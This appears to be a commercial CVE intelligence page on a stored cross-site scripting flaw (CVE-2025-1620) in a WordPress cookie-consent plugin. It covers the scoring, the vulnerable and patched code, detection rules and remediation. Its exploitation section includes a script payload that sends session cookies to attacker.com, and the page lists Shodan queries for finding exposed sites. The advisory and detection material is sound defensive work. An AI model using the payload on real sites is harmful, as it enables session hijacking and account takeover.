☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-1620

CVE-2025-1620 Cross-Site Scripting in Gdpr cookie compliance
📅 PUBLISHED: 2025-03-16 06:00 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.08%
👁️
0.08% probability
2.0× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-1620 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the GDPR Cookie Compliance WordPress plugin, affecting versions prior to 4.15.7. This vulnerability allows high-privilege users, such as administrators, to inject malicious scripts into plugin settings. The injected scripts are stored and executed when other users (including other admins) view the affected settings page. The attack is particularly dangerous in multisite WordPress setups where the unfiltered_html capability is typically disallowed, as the vulnerability bypasses this restriction.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is a third-party component added to the WordPress supply chain. Compromise of this plugin could lead to site-wide XSS, potentially affecting all users and visitors. Administrators should verify the integrity of the plugin by checking its checksum against the official repository and ensure automatic updates are enabled.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
  • Base Score: 4.8 (Medium)
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): High – An attacker needs admin-level access to the WordPress site.
  • User Interaction (UI): Required – The victim must visit the compromised settings page.
  • Scope (S): Unchanged – The exploit does not affect other components.
  • Confidentiality (C): Low – Limited data exposure possible.
  • Integrity (I): Low – Limited ability to modify content.
  • Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the ability to bypass unfiltered_html in multisite environments elevates the risk for organizations using WordPress multisite.

Deep Dive & Mechanics

The vulnerability exists in the plugin's settings page, where user-supplied input is not properly sanitized or escaped before being stored and displayed. The plugin stores configuration options in the WordPress database. When an admin saves settings containing malicious JavaScript, the script is stored. Later, when any user (including other admins) views the settings page, the script executes in their browser context.

Root Cause: The plugin fails to apply sanitize_text_field() or esc_html() to certain settings fields before saving and rendering them. This allows an attacker with admin privileges to inject arbitrary HTML and JavaScript.

Attack Flow:

  1. Attacker gains admin access (e.g., via compromised credentials or social engineering).
  2. Attacker navigates to the GDPR Cookie Compliance settings page.
  3. Attacker injects a malicious payload into a vulnerable setting field (e.g., a text input for custom CSS or message text).
  4. The payload is stored in the database without sanitization.
  5. When another admin (or the same admin) visits the settings page, the payload executes.
  6. The payload can steal session cookies, deface the admin panel, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-4.15.7):

// In settings page rendering
echo '<input type="text" name="gdpr_cookie_message" value="' . get_option('gdpr_cookie_message') . '" />';

The value is output directly without escaping.

Patched Code (4.15.7+):

// In settings page rendering
echo '<input type="text" name="gdpr_cookie_message" value="' . esc_attr( get_option('gdpr_cookie_message') ) . '" />';

The value is now escaped using esc_attr() to prevent XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Admin-level access to a WordPress site running GDPR Cookie Compliance < 4.15.7.
  • The vulnerable setting field (e.g., "Cookie Message" or "Custom CSS").

Exploitation Steps:

  1. Log in as an admin.
  2. Navigate to Settings > GDPR Cookie Compliance.
  3. In the "Cookie Message" field, enter the following payload:
    <script>alert('XSS');</script>
    
  4. Save the settings.
  5. When any admin visits the settings page, the script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual changes to the gdpr_cookie_message or similar options in the database.
  • Look for admin users creating or modifying settings with suspicious patterns (e.g., <script> tags).

Hardening:

  • Upgrade to version 4.15.7 or later.
  • Restrict admin access to trusted users only.
  • Implement Web Application Firewall (WAF) rules to block XSS payloads in admin panels.
  • Enable Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/gdpr-cookie-compliance/gdpr-cookie-compliance.php (check version)
  • Database Option: gdpr_cookie_message or similar options containing <script> tags.
  • Logs: Admin activity logs showing modification of GDPR Cookie Compliance settings with unusual input.
  • Network: Outbound requests to attacker-controlled domains from the admin panel.

Detection Engineering

YARA Rule

rule detect_gdpr_xss_payload {
    meta:
        description = "Detects XSS payloads in GDPR Cookie Compliance settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1620"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $gdpr_option = /gdpr_cookie_message|gdpr_custom_css/i
    condition:
        $xss_payload and $gdpr_option
}

Sigma Rule

title: GDPR Cookie Compliance Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in GDPR Cookie Compliance plugin settings
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # Example: WordPress admin action log
        ObjectName: 'gdpr_cookie_message'
        Data|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom CSS (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-1620 GDPR Cookie Compliance Stored XSS"; flow:to_server,established; content:"gdpr_cookie_message"; nocase; content:"<script"; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade the GDPR Cookie Compliance plugin to version 4.15.7 or later.
  2. Audit all admin accounts and remove any unauthorized or suspicious users.
  3. Review the plugin settings for any injected scripts and remove them.

Long-Term Mitigations:

  • Implement the principle of least privilege for WordPress admin roles.
  • Enable automatic updates for plugins.
  • Use a Web Application Firewall (WAF) with XSS protection rules.
  • Regularly scan WordPress installations for known vulnerabilities.

Workaround (if upgrade is not possible):

  • Disable the plugin temporarily until an upgrade can be performed.
  • Restrict access to the settings page via .htaccess or IP whitelisting.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"GDPR Cookie Compliance"
http.html:"gdpr-cookie-compliance"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-1620/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.